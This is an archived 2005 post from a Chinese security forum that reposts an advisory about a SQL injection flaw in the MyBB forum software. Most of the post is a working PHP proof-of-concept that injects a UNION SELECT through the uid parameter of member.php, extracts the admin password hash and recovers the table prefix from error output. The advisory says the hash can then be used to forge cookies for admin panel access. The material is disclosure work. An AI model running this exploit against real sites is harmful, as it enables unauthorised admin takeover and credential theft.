邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2005-1-5 23:00

[转载]MyBB SQL Injection

信息来源:[url]www.securityfocus.com[/url]

Description:
MyBB is a powerful, efficient and free forum package developed in PHP and MySQL. MyBB
has been designed with the end users in mind, you and your subscribers. Full
control over your discussion system is presented right at the tip of your fingers,
from multiple styles and themes to the ultimate customisation of your forums
using the template system.

Exploit:
MyBB is prone to an SQL injection within the uid paramater of member.php, a Union
attack can be used to obtain the admin password hash. The appropriate cookies can
then be edited to allow admin panel access.

Proof of concept:

[code]<?php
// the example below will attack [url]http://www.example.com/mybb/[/url]
echo &#39;Pass:&#39; . get_pass(&#39;[url]www.example.com[/url]&#39;, &#39;/mybb&#39;, &#39;&#39;);

function get_pass($host, $path, $dbprefix) {
$query[] = &#39;uid=&#39; . urlencode ("1&#39; UNION SELECT 10000, 200, password AS type FROM
{$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");

$query = implode(&#39;&&#39;, $query);

$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";

$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);

$allah = &#39;&#39;;
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$allah .= $tmp;
}
fclose($fp);

preg_match(&#39;/\: ([a-z0-9]{32})/i&#39;, $allah, $matches);
if (empty($matches[1]) && empty($dbprefix)) {
preg_match(&#39;#FROM (\w+)avatars WHERE#i&#39;, $allah, $matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return &#39;Unable to obtain password&#39;;
}
$password = get_pass($host, $path, $dbprefix);
}
else {
$password = $matches[1];
}

return $password;
}

?> [/code]

页: [1]
© 1999-2008 EvilOctal Security Team